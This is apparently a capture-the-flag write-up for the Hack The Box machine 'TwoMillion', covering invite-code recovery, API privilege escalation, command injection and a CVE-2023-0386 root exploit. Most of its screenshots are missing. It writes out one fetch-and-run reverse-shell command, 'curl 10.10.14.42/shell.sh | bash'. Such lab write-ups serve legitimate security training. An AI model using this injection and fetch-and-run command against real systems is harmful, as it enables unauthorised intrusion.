TwoMillion

Happy 2 Million HTB!

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 5000 10.129.76.193
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-15 18:45 +08
Nmap scan report for 10.129.76.193
Host is up (0.011s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

We have to add 2million.htb to our /etc/hosts file to view the web application.

Invite Code Hunting

The website resembles the actual live HTB platform:

The website also shows how long has HTB come since the start:

Anyways, we can attempt to register a user on this site and maybe find some sort of access control weakness. On the main page, there is a 'Join HTB' button, but it requires an invite code to access:

I didn't have an invite code, so we'll have to leave this for now. I also don't have any credentials to register a user, so the website's applications have limited use as of now. We can do a directory and subdomain scan for this site. I ran a feroxbuster directory scan and a wfuzz subdomain scan. The feroxbuster scan returned some interesting stuff:

There was a register directory present.

I couldn't register an account because I still didn't have an invite code at all. I looked at the account in Burpsuite, and found this at the bottom of the page:

There's an inviteapi.min.js file that looks custom. Here's the contents of that file:

This looks like it generates some kind of token. Within it, we can see that it uses a makeInviteCode function. This file is loaded at the /invite directory, which is where we need to submit a code. Within the Javascript Console in Inspector tools, I ran that function.

When we send a POST request to this:

This is a ROT13 cipher. When decrypted, we get this:

Following these instructions, we can get the invite code we need.

Using this, we can finally register and login to view the dashboard:

API Enumeration -> Injection

The thing that stands out the most is the fact that thereis an ongoing database migration for the site, and that some features are unavailable. There wasn't much functionality within this site, so I visited the /api/v1 directory that we used earlier to generate the invite code.

Since we are an 'authenticated user', I grabbed our cookie and visited it, revealing more about the API routes present:

If we were to visit the iste without the cookie specified, then we would not be able to view this information. Our next goal here is to become the administrator of the site. Naturally, the "Update user settings" bit looks the most vulnerable.

If we send a PUT request to it without any information, we get this:

Since this is using JSON, let's change the Content-Type header to that. Then, it complains about another error.

Adding that results in yet another error:

Setting the value of that to 1 seems to work:

We can verify that we are an admin using the /api/v1/admin/auth endpoint.

Then, we can look at the only other feature I haven't used, which is the OVPN feature. Using the generate feature seems to produce an .ovpn file.

When trying the administrator version of the generation, we get the same response complaining about the Content-Type header, and then it requests for a username:

When supplied, it would generate the .ovpn file normally.

The only difference between the administrator and user VPN generation is that I need to supply a parameter, so let's test that for injection. Using the subshell $() feature, I was able to achieve blind RCE:

We can get a reverse shell by replacing the command with curl 10.10.14.42/shell.sh | bash.

Privilege Escalation

We cannot grab the user flag from the admin user just yet.

Admin Creds

Within the /var/www/html file, there was a .env file present with credentials.

Using that, we can su to admin.

Mail -> CVE Exploit

This user had no sudo privileges, and I also did not find any files in /opt. Even pspy64 didn't return anything useful. I wanted to see if this user had ownership over any other files within the system, so I used find to do that:

I found one mail for the user, and here's the contents:

There was direct mention of a CVE that came out this year, and the one that matches its description is CVE-2023-0386.

LogoNVD - CVE-2023-0386nvd.nist.gov

There's some PoCs on Github already, so let's try it. A few of the exploits don't work because of issues with fuse.h, but I eventually found one that works well:

LogoGitHub - xkaneiki/CVE-2023-0386: CVE-2023-0386在ubuntu22.04上的提权GitHub

We can download the repository, and then run make all to create the binaries we which are the exp, fuse, and a gc binaries. Afterwards, we can transfer all of these to the machine and run this command:

In a second shell (over ssh), we can run exp and get a root shell!

Then we can grab the root flag.

Extra Challenge

Within the /root directory, there's another .json file present:

Here's the contents:

This whole thing is in hex, so I used Cyberchef to decode it:

Now it's being XOR'd with 'HackTheBox' as the key. The output can be decoded and piped to an XOR command with the specified key to find a hidden message:

Here's the message:

This was a nice end to their milestone box. All in all, great website that has helped me immensely (and also frustrated me greatly...). Thank you HTB!

PreviousTrickNextValentine

Last updated